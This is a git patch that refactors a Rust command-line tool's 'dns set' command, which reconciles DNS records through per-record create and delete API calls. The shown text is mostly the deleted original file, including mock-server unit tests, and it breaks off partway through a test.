From 537e960c21dea97d7b48de1ed6e1092b61af90b5 Mon Sep 17 00:00:00 2001 From: Jacob Page Date: Fri, 7 Aug 2026 14:07:48 -0700 Subject: [PATCH 1/7] refactor(dns): split set.rs into set/ by concern dns set's reconciliation logic (plan/outcome/write) lived in one 1107-line file. Split into set/{mod,plan,outcome,write}.rs so each concern has its own file, matching the domain/dns file-per-subcommand convention. --- rust/src/dns/set.rs | 1107 ----------------------------------- rust/src/dns/set/mod.rs | 225 +++++++ rust/src/dns/set/outcome.rs | 226 +++++++ rust/src/dns/set/plan.rs | 94 +++ rust/src/dns/set/write.rs | 606 +++++++++++++++++++ 5 files changed, 1151 insertions(+), 1107 deletions(-) delete mode 100644 rust/src/dns/set.rs create mode 100644 rust/src/dns/set/mod.rs create mode 100644 rust/src/dns/set/outcome.rs create mode 100644 rust/src/dns/set/plan.rs create mode 100644 rust/src/dns/set/write.rs diff --git a/rust/src/dns/set.rs b/rust/src/dns/set.rs deleted file mode 100644 index ff46c6d..0000000 --- a/rust/src/dns/set.rs +++ /dev/null @@ -1,1107 +0,0 @@ -//! `dns set` — replace every record for a type+name pair (destructive). - -use cli_engine::{CommandResult, CommandSpec, RuntimeCommandSpec, TableColumn, Tier}; -use serde_json::{Value, json}; - -use crate::domain::{api_error, format_api_error, make_client}; -use crate::output_schema::output_schema; -use crate::scopes::DOMAINS_DNS_UPDATE; - -use domains_client::types; - -use super::conflicts::{ - conflicting_records, conflicting_records_at, describe_duplicate_record, duplicate_record_issue, -}; -use super::records::{ - RecordOptions, RecordWriteArgs, fetch_records, v3_record, validate_caa_fields, - verify_with_list_action, -}; - -// `dns set` reconciles over v3's per-record ops; it reports how many records it -// replaced, created, and deleted to reach the desired set. -output_schema!(DnsSetResult { - "domain": "string"; - "type": "string"; - "name": "string"; - "replaced": "number"; - "created": "number"; - "deleted": "number"; - "action": "string"; - "plan": "[]object", optional; -}); - -/// One reconcile action for `dns set` over v3's per-record endpoints. -/// -/// v3 has no atomic single-record replace: `PUT .../dns-records/{recordId}` -/// responds `200` but silently replaces the *entire* record collection with -/// just the system records and whatever's in the request body, discarding -/// everything else in the zone (reproduced live against a test zone; see -/// ). So `Replace` is executed as -/// create-the-new-value-then-delete-the-old-record, never as an in-place PUT. -#[derive(Debug, PartialEq)] -enum SetAction { - /// Create a record for the desired `--data` value, then delete the - /// existing record (`record_id`) it's replacing. - Replace { record_id: String, data: String }, - /// Remove an existing record no longer wanted. - Delete { record_id: String }, - /// Create a record for a surplus `--data` value. - Create { data: String }, -} - -/// Reconcile the existing records for a type+name (their ids, in list order) with -/// the desired `--data` values: pair up the overlap (`Replace`), `Delete` -/// the surplus existing, `Create` the surplus desired. Pure so the plan — the -/// least-destructive way to emulate a set-replace over per-record v3 ops — is -/// unit-testable. -fn plan_set(existing_ids: &[String], desired: &[String]) -> Vec { - let overlap = existing_ids.len().min(desired.len()); - let mut actions = Vec::with_capacity(existing_ids.len().max(desired.len())); - for i in 0..overlap { - actions.push(SetAction::Replace { - record_id: existing_ids[i].clone(), - data: desired[i].clone(), - }); - } - for id in &existing_ids[overlap..] { - actions.push(SetAction::Delete { - record_id: id.clone(), - }); - } - for d in &desired[overlap..] { - actions.push(SetAction::Create { data: d.clone() }); - } - actions -} - -/// Outcome of one applied `set` reconcile action, for reporting. -struct SetOutcome { - /// What was attempted: `"replaced"`, `"created"`, or `"deleted"`. - kind: &'static str, - /// The `--data` value (replace/create) or record id (delete). - detail: String, - /// `Some(msg)` if the call failed. - error: Option, -} - -impl SetOutcome { - fn new(kind: &'static str, detail: String, error: Option) -> Self { - Self { - kind, - detail, - error, - } - } -} - -/// Build the `set` result from the applied reconcile outcomes: `Ok(json)` with -/// replaced/created/deleted counts when every action succeeded, or `Err(message)` -/// — a non-zero exit — with a per-action ✓/✗ breakdown if any failed. Pure so the -/// success/failure decision and tallies are unit-testable. -fn summarize_set_outcomes( - domain: &str, - record_type: &str, - name: &str, - outcomes: &[SetOutcome], -) -> Result { - let failed = outcomes.iter().filter(|o| o.error.is_some()).count(); - let count = |k: &str| { - outcomes - .iter() - .filter(|o| o.error.is_none() && o.kind == k) - .count() - }; - let (replaced, created, deleted) = (count("replaced"), count("created"), count("deleted")); - - if failed > 0 { - let breakdown = outcomes - .iter() - .map(|o| match &o.error { - None => format!(" ✓ {} {}", o.kind, o.detail), - Some(e) => format!(" ✗ {} {} — {e}", o.kind, o.detail), - }) - .collect::>() - .join("\n"); - return Err(format!( - "set for {name} ({record_type}) partially failed — {failed} of {} action(s):\n\ - {breakdown}\n\nRe-run the original `gddy dns set` command, or `gddy dns list \ - {domain} --type {record_type} --name {name}` to review the current state.", - outcomes.len(), - )); - } - - Ok(json!({ - "domain": domain, - "type": record_type, - "name": name, - "replaced": replaced, - "created": created, - "deleted": deleted, - "action": "set", - })) -} - -/// Builds the `dns set --dry-run` preview directly from the same reconcile -/// plan the real execution would apply, so the preview can never drift from -/// what `set` would actually do. Doesn't attempt to predict a name-exclusivity -/// conflict (that's only known once a write is actually attempted) — the -/// preview shows the reconcile plan, not whether `--replace-conflicting-types` -/// would end up mattering. -fn dry_run_set_preview(domain: &str, record_type: &str, name: &str, plan: &[SetAction]) -> Value { - let count = |predicate: fn(&SetAction) -> bool| plan.iter().filter(|a| predicate(a)).count(); - let plan_json: Vec = plan - .iter() - .map(|action| match action { - SetAction::Replace { record_id, data } => { - json!({"action": "replace", "recordId": record_id, "data": data}) - } - SetAction::Create { data } => json!({"action": "create", "data": data}), - SetAction::Delete { record_id } => json!({"action": "delete", "recordId": record_id}), - }) - .collect(); - - json!({ - "domain": domain, - "type": record_type, - "name": name, - // Reuse DnsSetResult's own field names (rather than inventing - // "wouldReplace" etc.) so the preview survives the command's - // `with_default_fields` projection instead of being silently - // stripped down to just domain/type/name. - "replaced": count(|a| matches!(a, SetAction::Replace { .. })), - "created": count(|a| matches!(a, SetAction::Create { .. })), - "deleted": count(|a| matches!(a, SetAction::Delete { .. })), - "plan": plan_json, - "action": "would set", - }) -} - -/// Delete each conflicting record — used only by `set --replace-conflicting-types` -/// to auto-resolve a name-exclusivity conflict before retrying the write. -/// Returns one `SetOutcome` per record (rather than bailing on the first -/// failure) so a partial deletion is reported explicitly, consistent with -/// `dns delete`'s per-record reporting. -async fn delete_conflicts( - client: &domains_client::Client, - domain: &str, - records: &[types::DnsRecord], - debug: bool, -) -> Vec { - let mut outcomes = Vec::with_capacity(records.len()); - for rec in records { - let detail = format!("{} {}", rec.type_.as_str(), rec.data); - let Some(record_id) = rec.record_id.as_deref() else { - outcomes.push(SetOutcome::new( - "deleted", - detail, - Some( - "the API returned this record without a recordId, so it can't be removed \ - automatically; remove it in the control panel" - .to_string(), - ), - )); - continue; - }; - let err = match client - .delete_dns_record() - .zone(domain) - .record_id(record_id) - .send() - .await - { - Ok(_) => None, - Err(e) => Some( - api_error("deleting conflicting DNS record", debug, e) - .await - .to_string(), - ), - }; - outcomes.push(SetOutcome::new("deleted", detail, err)); - } - outcomes -} - -/// Context for one `set` create action, bundled to keep -/// [`write_with_conflict_handling`]'s signature within clippy's -/// argument-count limit. -struct WriteRequest<'a> { - domain: &'a str, - name: &'a str, - record_type: &'a str, - value: &'a str, - opts: &'a RecordOptions, - replace_conflicting: bool, - debug: bool, -} - -/// Create one record for `req.value` (a surplus `--data` value, or — via -/// [`apply_replace`] — the new half of a replace pairing), with the same -/// name-exclusivity conflict handling `add` gets (see -/// [`super::conflicts::describe_write_error`]) plus an opt-in auto-fix: with -/// `--replace-conflicting-types`, a genuine `DUPLICATE_RECORD` failure deletes -/// the conflicting record(s) and retries the write once. Returns the delete -/// outcomes (if any) followed by the outcome for the create itself, so -/// `outcomes.extend(...)` folds both into the same reconcile summary. The -/// terminal outcome's `kind` is always `"created"` — [`apply_replace`] -/// relabels it to `"replaced"` when this is the create half of a replace. -async fn write_with_conflict_handling( - client: &domains_client::Client, - req: &WriteRequest<'_>, -) -> Vec { - const ACTION: &str = "creating DNS record"; - let outcome = |err: Option| SetOutcome::new("created", req.value.to_string(), err); - - let body = v3_record(req.name, req.record_type, req.value, req.opts); - let err = match client - .create_dns_record() - .zone(req.domain) - .body(body) - .send() - .await - { - Ok(_) => return vec![outcome(None)], - Err(e) => e, - }; - let domains_client::Error::UnexpectedResponse(resp) = err else { - return vec![outcome(Some( - api_error(ACTION, req.debug, err).await.to_string(), - ))]; - }; - let status = resp.status(); - let request_id = resp - .headers() - .get("x-request-id") - .and_then(|v| v.to_str().ok()) - .map(str::to_owned); - let resp_body = resp.text().await.unwrap_or_default(); - - if !duplicate_record_issue(&resp_body) { - let msg = format_api_error( - ACTION, - status.as_u16(), - &status.to_string(), - &resp_body, - request_id.as_deref(), - req.debug, - ); - return vec![outcome(Some(msg))]; - } - - let at_name = match conflicting_records_at(client, req.domain, req.name, req.debug).await { - Ok(records) => records, - Err(e) => return vec![outcome(Some(e.to_string()))], - }; - let conflicts: Vec = conflicting_records(req.record_type, &at_name) - .into_iter() - .cloned() - .collect(); - - if !req.replace_conflicting || conflicts.is_empty() { - // Either the caller didn't opt in, or this DUPLICATE_RECORD wasn't a - // cross-type conflict (e.g. an exact duplicate) — nothing to auto-fix. - let msg = describe_duplicate_record( - req.record_type, - req.value, - req.domain, - req.name, - &at_name, - true, - ); - return vec![outcome(Some(msg))]; - } - - let mut outcomes = delete_conflicts(client, req.domain, &conflicts, req.debug).await; - let retry_body = v3_record(req.name, req.record_type, req.value, req.opts); - let retry_err = match client - .create_dns_record() - .zone(req.domain) - .body(retry_body) - .send() - .await - { - Ok(_) => None, - Err(e) => Some(api_error(ACTION, req.debug, e).await.to_string()), - }; - outcomes.push(outcome(retry_err)); - outcomes -} - -/// Human-readable `" "` label for an existing record id, for -/// outcome reporting — falls back to the bare id if the record isn't in -/// `existing` (shouldn't happen; `existing` is what `plan_set` was built from). -fn record_label(existing: &[types::DnsRecord], record_type: &str, record_id: &str) -> String { - existing - .iter() - .find(|r| r.record_id.as_deref() == Some(record_id)) - .map(|r| format!("{record_type} {}", r.data)) - .unwrap_or_else(|| record_id.to_string()) -} - -/// Apply one `set` "replace" reconcile action: create the new value via -/// [`write_with_conflict_handling`], then — only if that succeeded — delete -/// the record it's replacing. There's no atomic single-record replace in v3 -/// (see the note on [`SetAction::Replace`]), so this create-then-delete pair -/// is the least-destructive way to emulate one: if the create fails, the old -/// record is left untouched rather than risking data loss. -/// -/// `old_data` is the record's *current* value, if known — when it already -/// equals `req.value` (a no-op `set`, e.g. re-running the same command, or -/// only some of several values actually changed) this is a no-op: creating -/// the "new" value while the identical old record still exists would fail -/// with v3's exact-duplicate `DUPLICATE_RECORD` (see -/// [`super::conflicts::describe_duplicate_record`]), which isn't a real -/// failure, just this pairing having nothing to do. -/// -/// Relabels the create outcome's `kind` from `"created"` to `"replaced"` so -/// `summarize_set_outcomes`'s tallies mean what the user asked for. If the -/// delete of the old record fails after a successful create, that's reported -/// as an extra `"cleanup"`-kind outcome — a kind `summarize_set_outcomes`'s -/// counts don't recognize, so it doesn't inflate replaced/created/deleted, -/// but its `error` still fails the command and shows up in the breakdown. -async fn apply_replace( - client: &domains_client::Client, - req: &WriteRequest<'_>, - old_record_id: &str, - old_detail: &str, - old_data: Option<&str>, -) -> Vec { - if old_data == Some(req.value) { - return vec![SetOutcome::new("replaced", req.value.to_string(), None)]; - } - - let mut outcomes = write_with_conflict_handling(client, req).await; - let Some(last) = outcomes.last_mut() else { - return outcomes; - }; - last.kind = "replaced"; - if last.error.is_some() { - return outcomes; - } - - if let Err(e) = client - .delete_dns_record() - .zone(req.domain) - .record_id(old_record_id) - .send() - .await - { - let msg = format!( - "the new value was created, but the previous record ({old_detail}) could not be \ - removed: {}; run `gddy dns list {} --type {} --name {}` to review the current \ - state and remove it manually if it's still there", - api_error("deleting the previous DNS record", req.debug, e).await, - req.domain, - req.record_type, - req.name, - ); - outcomes.push(SetOutcome::new( - "cleanup", - old_detail.to_string(), - Some(msg), - )); - } - outcomes -} - -#[derive(Debug, Clone, clap::Args)] -struct SetArgs { - #[command(flatten)] - write: RecordWriteArgs, - - /// Remove any existing CNAME (or, if setting a CNAME, any other type) at - /// this name first. - #[arg(long = "replace-conflicting-types")] - replace_conflicting_types: bool, -} - -/// `plan` only appears on the `--dry-run` preview (the real set's success -/// payload has no per-action breakdown), so it renders as an indented child -/// table there instead of a raw JSON dump. -fn view_columns() -> Vec { - vec![ - TableColumn::new("domain", "Domain"), - TableColumn::new("type", "Type"), - TableColumn::new("name", "Name"), - TableColumn::new("replaced", "Replaced"), - TableColumn::new("created", "Created"), - TableColumn::new("deleted", "Deleted"), - TableColumn::new("action", "Action"), - TableColumn::new("plan", "Plan").nested(vec![ - TableColumn::new("action", "Action"), - TableColumn::new("recordId", "Record ID"), - TableColumn::new("data", "Data"), - ]), - ] -} - -pub(super) fn command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::( - "set", - "Replace all records for a type+name (destructive: overwrites existing)", - ) - .with_long( - "Replaces every DNS record for the given type+name pair with the \ - values supplied via `--data`, discarding any records that were \ - there before. v3 has no bulk or in-place replace, so this \ - reconciles over per-record calls: for the overlap it creates \ - the replacement value then deletes the record it's replacing, \ - it deletes the surplus, and it creates the shortfall (so it is \ - not atomic — a mid-run failure is reported per record). This is \ - destructive and irreversible — use `dns list --type \ - --name ` to review first. Use `dns add` to append without \ - removing existing records.\n\ - \n\ - DNS only allows a CNAME or other record types at a name, never \ - both. Setting into a name that already has the other kind fails \ - with a specific error naming the conflict; pass \ - `--replace-conflicting-types` to remove the conflicting record(s) \ - automatically and retry.", - ) - .with_system("domain") - .with_tier(Tier::Destructive) - .handles_dry_run(true) - .with_default_fields("domain,type,name,replaced,created,deleted,action,plan") - .with_output_schema::() - .with_view(view_columns()) - .with_scopes(&[DOMAINS_DNS_UPDATE]), - |ctx, args: SetArgs| async move { - let opts = RecordOptions::from_write_args(&args.write); - let domain = args.write.domain; - let record_type = args.write.record_type; - let name = args.write.name; - let data = args.write.data; - let replace_conflicting = args.replace_conflicting_types; - validate_caa_fields(&record_type, &opts) - .map_err(crate::error::GddyError::validation)?; - - let debug = !ctx.middleware.debug.is_empty(); - let client = make_client(&ctx).await?; - - // Reconcile the current type+name records with the desired --data - // set over v3's per-record ops (no atomic bulk replace exists). - let existing = fetch_records( - &client, - domain.as_str(), - Some(&record_type), - Some(&name), - debug, - ) - .await?; - // Every existing record must have a server id to reconcile against — - // v3 mutations are keyed by recordId. Bail before touching anything - // if any lacks one, rather than silently dropping it (which would - // leave it behind and make `set` add records instead of replacing). - if existing.iter().any(|r| r.record_id.is_none()) { - let message = format!( - "some existing {record_type} records for {name} were returned without a \ - recordId, so `set` can't safely replace the full set. Re-run `gddy dns \ - list {domain} --type {record_type} --name {name}` and adjust in the \ - control panel if this persists." - ); - let fix = format!( - "Re-run `gddy dns list {domain} --type {record_type} --name {name}` and \ - adjust in the control panel if this persists." - ); - return Err(crate::error::GddyError::unexpected(message) - .with_fix(fix) - .into_cli_error()); - } - let existing_ids: Vec = existing - .iter() - .filter_map(|r| r.record_id.clone()) - .collect(); - - let plan = plan_set(&existing_ids, &data); - if ctx.dry_run() { - return Ok(CommandResult::new(dry_run_set_preview( - &domain, - &record_type, - &name, - &plan, - )) - .with_dry_run()); - } - - let mut outcomes = Vec::new(); - for action in plan { - match action { - SetAction::Replace { - record_id, - data: value, - } => { - let req = WriteRequest { - domain: domain.as_str(), - name: name.as_str(), - record_type: record_type.as_str(), - value: &value, - opts: &opts, - replace_conflicting, - debug, - }; - let old_record = existing - .iter() - .find(|r| r.record_id.as_deref() == Some(record_id.as_str())); - let old_detail = record_label(&existing, &record_type, &record_id); - outcomes.extend( - apply_replace( - &client, - &req, - &record_id, - &old_detail, - old_record.map(|r| r.data.as_str()), - ) - .await, - ); - } - SetAction::Create { data: value } => { - let req = WriteRequest { - domain: domain.as_str(), - name: name.as_str(), - record_type: record_type.as_str(), - value: &value, - opts: &opts, - replace_conflicting, - debug, - }; - outcomes.extend(write_with_conflict_handling(&client, &req).await); - } - SetAction::Delete { record_id } => { - let res = client - .delete_dns_record() - .zone(domain.as_str()) - .record_id(record_id.as_str()) - .send() - .await; - let err = match res { - Ok(_) => None, - Err(e) => { - Some(api_error("deleting DNS record", debug, e).await.to_string()) - } - }; - let detail = record_label(&existing, &record_type, &record_id); - outcomes.push(SetOutcome::new("deleted", detail, err)); - } - } - } - - summarize_set_outcomes(&domain, &record_type, &name, &outcomes) - .map(|v| { - CommandResult::new(v).with_next_actions(vec![verify_with_list_action( - &domain, - &record_type, - &name, - )]) - }) - .map_err(super::mutate_failed) - }, - ) -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn plan_set_reuses_overlap_deletes_extra_creates_shortfall() { - // 3 existing, 2 desired → reuse 2 ids, delete the 3rd. - let existing = vec!["r1".to_string(), "r2".to_string(), "r3".to_string()]; - let desired = vec!["9.9.9.9".to_string(), "8.8.8.8".to_string()]; - assert_eq!( - plan_set(&existing, &desired), - vec![ - SetAction::Replace { - record_id: "r1".into(), - data: "9.9.9.9".into() - }, - SetAction::Replace { - record_id: "r2".into(), - data: "8.8.8.8".into() - }, - SetAction::Delete { - record_id: "r3".into() - }, - ] - ); - // 1 existing, 3 desired → reuse 1 id, create 2. - assert_eq!( - plan_set( - &["r1".to_string()], - &["a".to_string(), "b".to_string(), "c".to_string()] - ), - vec![ - SetAction::Replace { - record_id: "r1".into(), - data: "a".into() - }, - SetAction::Create { data: "b".into() }, - SetAction::Create { data: "c".into() }, - ] - ); - // none existing → all creates. - assert_eq!( - plan_set(&[], &["x".to_string()]), - vec![SetAction::Create { data: "x".into() }] - ); - } - - #[test] - fn summarize_set_reports_counts_and_flags_partial_failure() { - let all_ok = vec![ - SetOutcome::new("replaced", "9.9.9.9".into(), None), - SetOutcome::new("created", "8.8.8.8".into(), None), - SetOutcome::new("deleted", "r3".into(), None), - ]; - let v = summarize_set_outcomes("example.com", "A", "www", &all_ok).expect("all ok"); - assert_eq!(v["replaced"], 1); - assert_eq!(v["created"], 1); - assert_eq!(v["deleted"], 1); - - let mixed = vec![ - SetOutcome::new("replaced", "9.9.9.9".into(), None), - SetOutcome::new("created", "8.8.8.8".into(), Some("422 bad".into())), - ]; - let err = summarize_set_outcomes("example.com", "A", "www", &mixed).expect_err("a failure"); - assert!(err.contains("1 of 2"), "{err}"); - assert!(err.contains("✗ created 8.8.8.8 — 422 bad"), "{err}"); - - // A `apply_replace`-style "cleanup" outcome (the new value was created - // but the old record couldn't be deleted afterward) still fails the - // command, but must not be double-counted into `replaced`/`deleted` - // since the replace itself already succeeded. - let replace_with_cleanup_failure = vec![ - SetOutcome::new("replaced", "9.9.9.9".into(), None), - SetOutcome::new("cleanup", "A 1.2.3.4".into(), Some("still there".into())), - ]; - let err = summarize_set_outcomes("example.com", "A", "www", &replace_with_cleanup_failure) - .expect_err("cleanup failure still fails the command"); - assert!(err.contains("1 of 2"), "{err}"); - assert!(err.contains("✗ cleanup A 1.2.3.4 — still there"), "{err}"); - } - - #[test] - fn dry_run_set_preview_matches_the_plan_it_would_execute() { - let plan = plan_set( - &["r1".to_string(), "r2".to_string(), "r3".to_string()], - &["9.9.9.9".to_string(), "8.8.8.8".to_string()], - ); - let preview = dry_run_set_preview("example.com", "A", "www", &plan); - assert_eq!(preview["replaced"], 2); - assert_eq!(preview["created"], 0); - assert_eq!(preview["deleted"], 1); - assert_eq!(preview["action"], "would set"); - assert_eq!(preview["plan"].as_array().expect("plan array").len(), 3); - } - - /// The command's `--output json` path always projects through - /// `default_fields` when the user doesn't pass `--fields` — a preview - /// field that isn't in that list is silently stripped and never reaches - /// the user. Prove the preview's summary fields actually survive it - /// (this is exactly the gap a pure call to `dry_run_set_preview` can't - /// catch, since it never goes through the projection). - #[test] - fn dry_run_set_preview_survives_default_field_projection() { - let plan = plan_set(&["r1".to_string()], &["9.9.9.9".to_string()]); - let preview = dry_run_set_preview("example.com", "A", "www", &plan); - let default_fields = "domain,type,name,replaced,created,deleted,action,plan"; - let projected = cli_engine::output::filter_fields(&preview, default_fields); - for field in [ - "domain", "type", "name", "replaced", "created", "deleted", "action", "plan", - ] { - assert!( - !projected[field].is_null(), - "{field:?} was stripped by default_fields; preview: {projected}" - ); - } - } - - /// Proves `view_columns()`'s field names actually match what - /// `dry_run_set_preview` emits — a mismatch here would silently drop the - /// reconcile plan from human output. - #[test] - fn dry_run_set_preview_renders_plan_as_a_nested_table() { - let plan = plan_set( - &["r1".to_string()], - &["9.9.9.9".to_string(), "8.8.8.8".to_string()], - ); - let preview = dry_run_set_preview("example.com", "A", "www", &plan); - let envelope = cli_engine::Envelope::success(preview, "domain"); - let rendered = cli_engine::render_human_with_view(&envelope, Some(&view_columns()), ""); - assert!(rendered.contains("Plan:"), "{rendered}"); - assert!(rendered.contains("RECORD ID"), "{rendered}"); - assert!(rendered.contains("replace"), "{rendered}"); - assert!(rendered.contains("create"), "{rendered}"); - assert!(rendered.contains("9.9.9.9"), "{rendered}"); - } - - // --- write_with_conflict_handling --------------------------------------- - // - // These exercise the DUPLICATE_RECORD branching against a mock server: the - // no-conflict path, the conflict-without-`--replace-conflicting-types` path - // (message only, no delete attempted), and the conflict-with-the-flag path - // (delete_conflicts outcome then the retry outcome, in that order). - - use httpmock::prelude::*; - - fn client_for(server: &MockServer) -> domains_client::Client { - domains_client::client_with_auth( - &server.base_url(), - "Bearer tok", - "godaddy-cli/test", - "req-1", - ) - .expect("build client") - } - - fn write_opts() -> RecordOptions { - RecordOptions { - ttl: None, - priority: None, - port: None, - weight: None, - protocol: None, - service: None, - flag: None, - tag: None, - } - } - - const DUPLICATE_RECORD_BODY: &str = r#"{"correlationId":"c-1","details":[{"issue":"DUPLICATE_RECORD","description":"Duplicate data provided for record name, www."}],"message":"Request failed validation","name":"VALIDATION_ERROR"}"#; - - #[tokio::test] - async fn write_with_conflict_handling_creates_without_conflict() { - let server = MockServer::start_async().await; - let create = server - .mock_async(|when, then| { - when.method(POST) - .path("/v3/domains/zones/example.com/dns-records"); - then.status(201).json_body( - json!({ "type": "A", "name": "www", "data": "1.2.3.4", "ttl": 3600 }), - ); - }) - .await; - - let opts = write_opts(); - let req = WriteRequest { - domain: "example.com", - name: "www", - record_type: "A", - value: "1.2.3.4", - opts: &opts, - replace_conflicting: false, - debug: false, - }; - let outcomes = write_with_conflict_handling(&client_for(&server), &req).await; - - create.assert_async().await; - assert_eq!(outcomes.len(), 1); - assert_eq!(outcomes[0].kind, "created"); - assert!(outcomes[0].error.is_none(), "{:?}", outcomes[0].error); - } - - #[tokio::test] - async fn write_with_conflict_handling_conflict_without_flag_reports_message_and_skips_delete() { - let server = MockServer::start_async().await; - server - .mock_async(|when, then| { - when.method(POST) - .path("/v3/domains/zones/example.com/dns-records"); - then.status(422).json_body( - serde_json::from_str::(DUPLICATE_RECORD_BODY).expect("valid json"), - ); - }) - .await; - server - .mock_async(|when, then| { - when.method(GET) - .path("/v3/domains/zones/example.com/dns-records") - .query_param("name", "www"); - then.status(200).json_body(json!({ - "items": [ - { "type": "CNAME", "name": "www", "data": "parkpage.godaddy.com", "ttl": 3600, "recordId": "cn-1" } - ], - "totalItems": 1, - "totalPages": 1, - "links": [] - })); - }) - .await; - - let opts = write_opts(); - let req = WriteRequest { - domain: "example.com", - name: "www", - record_type: "A", - value: "1.2.3.4", - opts: &opts, - replace_conflicting: false, - debug: false, - }; - let outcomes = write_with_conflict_handling(&client_for(&server), &req).await; - - // Only the message outcome — no delete attempted since the flag wasn't set. - assert_eq!(outcomes.len(), 1); - let err = outcomes[0].error.as_deref().expect("conflict reported"); - assert!(err.contains("already has a CNAME record"), "{err}"); - assert!(err.contains("--replace-conflicting-types"), "{err}"); - } - - #[tokio::test] - async fn write_with_conflict_handling_replace_flag_deletes_then_retries_in_order() { - let server = MockServer::start_async().await; - server - .mock_async(|when, then| { - when.method(POST) - .path("/v3/domains/zones/example.com/dns-records"); - then.status(422).json_body( - serde_json::from_str::(DUPLICATE_RECORD_BODY).expect("valid json"), - ); - }) - .await; - server - .mock_async(|when, then| { - when.method(GET) - .path("/v3/domains/zones/example.com/dns-records") - .query_param("name", "www"); - then.status(200).json_body(json!({ - "items": [ - { "type": "CNAME", "name": "www", "data": "parkpage.godaddy.com", "ttl": 3600, "recordId": "cn-1" } - ], - "totalItems": 1, - "totalPages": 1, - "links": [] - })); - }) - .await; - let delete = server - .mock_async(|when, then| { - when.method(DELETE) - .path("/v3/domains/zones/example.com/dns-records/cn-1"); - then.status(204); - }) - .await; - - let opts = write_opts(); - let req = WriteRequest { - domain: "example.com", - name: "www", - record_type: "A", - value: "1.2.3.4", - opts: &opts, - replace_conflicting: true, - debug: false, - }; - let outcomes = write_with_conflict_handling(&client_for(&server), &req).await; - - delete.assert_async().await; - // delete_conflicts' outcome must come first, then the retry outcome — - // the order `summarize_set_outcomes`'s breakdown reports to the user. - assert_eq!(outcomes.len(), 2); - assert_eq!(outcomes[0].kind, "deleted"); - assert_eq!(outcomes[0].detail, "CNAME parkpage.godaddy.com"); - assert!(outcomes[0].error.is_none(), "{:?}", outcomes[0].error); - assert_eq!(outcomes[1].kind, "created"); - assert_eq!(outcomes[1].detail, "1.2.3.4"); - // The retry hits the same mocked conflict response; unlike the first - // attempt, a failure here is reported generically (no re-diagnosis). - let err = outcomes[1].error.as_deref().expect("retry still failed"); - assert!(err.contains("Duplicate data provided"), "{err}"); - } - - // --- apply_replace ------------------------------------------------------- - // - // `set`'s "replace" semantic is create-the-new-value-then-delete-the-old - // (v3 has no atomic single-record replace; see GH #136). These exercise: - // the happy path (create then delete, one "replaced" outcome), the create - // failing (delete must never be attempted — the old record stays intact), - // and the delete failing after a successful create (reported as a - // separate "cleanup" outcome that still fails the command). - - fn replace_req<'a>(opts: &'a RecordOptions, value: &'a str) -> WriteRequest<'a> { - WriteRequest { - domain: "example.com", - name: "www", - record_type: "A", - value, - opts, - replace_conflicting: false, - debug: false, - } - } - - #[tokio::test] - async fn apply_replace_creates_then_deletes_the_old_record() { - let server = MockServer::start_async().await; - let create = server - .mock_async(|when, then| { - when.method(POST) - .path("/v3/domains/zones/example.com/dns-records"); - then.status(201).json_body( - json!({ "type": "A", "name": "www", "data": "9.9.9.9", "ttl": 3600 }), - ); - }) - .await; - let delete = server - .mock_async(|when, then| { - when.method(DELETE) - .path("/v3/domains/zones/example.com/dns-records/old-1"); - then.status(204); - }) - .await; - - let opts = write_opts(); - let req = replace_req(&opts, "9.9.9.9"); - let outcomes = apply_replace( - &client_for(&server), - &req, - "old-1", - "A 1.2.3.4", - Some("1.2.3.4"), - ) - .await; - - create.assert_async().await; - delete.assert_async().await; - assert_eq!(outcomes.len(), 1); - assert_eq!(outcomes[0].kind, "replaced"); - assert!(outcomes[0].error.is_none(), "{:?}", outcomes[0].error); - } - - /// The record being "replaced" already holds the desired value (e.g. a - /// re-run of the same `set`, or only some of several `--data` values - /// actually changed) — creating it again would hit v3's exact-duplicate - /// `DUPLICATE_RECORD` since the old record hasn't been deleted yet, so - /// this must short-circuit as a no-op success without any API calls. - #[tokio::test] - async fn apply_replace_is_a_no_op_when_old_record_already_has_the_desired_value() { - let server = MockServer::start_async().await; - let create = server - .mock_async(|when, then| { - when.method(POST) - .path("/v3/domains/zones/example.com/dns-records"); - then.status(201); - }) - .await; - let delete = server - .mock_async(|when, then| { - when.method(DELETE) - .path("/v3/domains/zones/example.com/dns-records/old-1"); - then.status(204); - }) - .await; - - let opts = write_opts(); - let req = replace_req(&opts, "1.2.3.4"); - let outcomes = apply_replace( - &client_for(&server), - &req, - "old-1", - "A 1.2.3.4", - Some("1.2.3.4"), - ) - .await; - - assert_eq!( - create.hits_async().await, - 0, - "no create for a no-op replace" - ); - assert_eq!( - delete.hits_async().await, - 0, - "no delete for a no-op replace" - ); - assert_eq!(outcomes.len(), 1); - assert_eq!(outcomes[0].kind, "replaced"); - assert_eq!(outcomes[0].detail, "1.2.3.4"); - assert!(outcomes[0].error.is_none(), "{:?}", outcomes[0].error); - } - - #[tokio::test] - async fn apply_replace_leaves_old_record_alone_when_create_fails() { - let server = MockServer::start_async().await; - server - .mock_async(|when, then| { - when.method(POST) - .path("/v3/domains/zones/example.com/dns-records"); - then.status(500); - }) - .await; - let delete = server - .mock_async(|when, then| { - when.method(DELETE) - .path("/v3/domains/zones/example.com/dns-records/old-1"); - then.status(204); - }) - .await; - - let opts = write_opts(); - let req = replace_req(&opts, "9.9.9.9"); - let outcomes = apply_replace( - &client_for(&server), - &req, - "old-1", - "A 1.2.3.4", - Some("1.2.3.4"), - ) - .await; - - assert_eq!( - delete.hits_async().await, - 0, - "the old record must not be touched when the create fails" - ); - assert_eq!(outcomes.len(), 1); - assert_eq!(outcomes[0].kind, "replaced"); - assert!(outcomes[0].error.is_some()); - } - - #[tokio::test] - async fn apply_replace_reports_cleanup_outcome_when_delete_of_old_record_fails() { - let server = MockServer::start_async().await; - let create = server - .mock_async(|when, then| { - when.method(POST) - .path("/v3/domains/zones/example.com/dns-records"); - then.status(201).json_body( - json!({ "type": "A", "name": "www", "data": "9.9.9.9", "ttl": 3600 }), - ); - }) - .await; - let delete = server - .mock_async(|when, then| { - when.method(DELETE) - .path("/v3/domains/zones/example.com/dns-records/old-1"); - then.status(404).json_body(json!({ - "correlationId": "c-1", - "message": "Record not found in DNS zone.", - "name": "RECORD_NOT_FOUND" - })); - }) - .await; - - let opts = write_opts(); - let req = replace_req(&opts, "9.9.9.9"); - let outcomes = apply_replace( - &client_for(&server), - &req, - "old-1", - "A 1.2.3.4", - Some("1.2.3.4"), - ) - .await; - - create.assert_async().await; - delete.assert_async().await; - 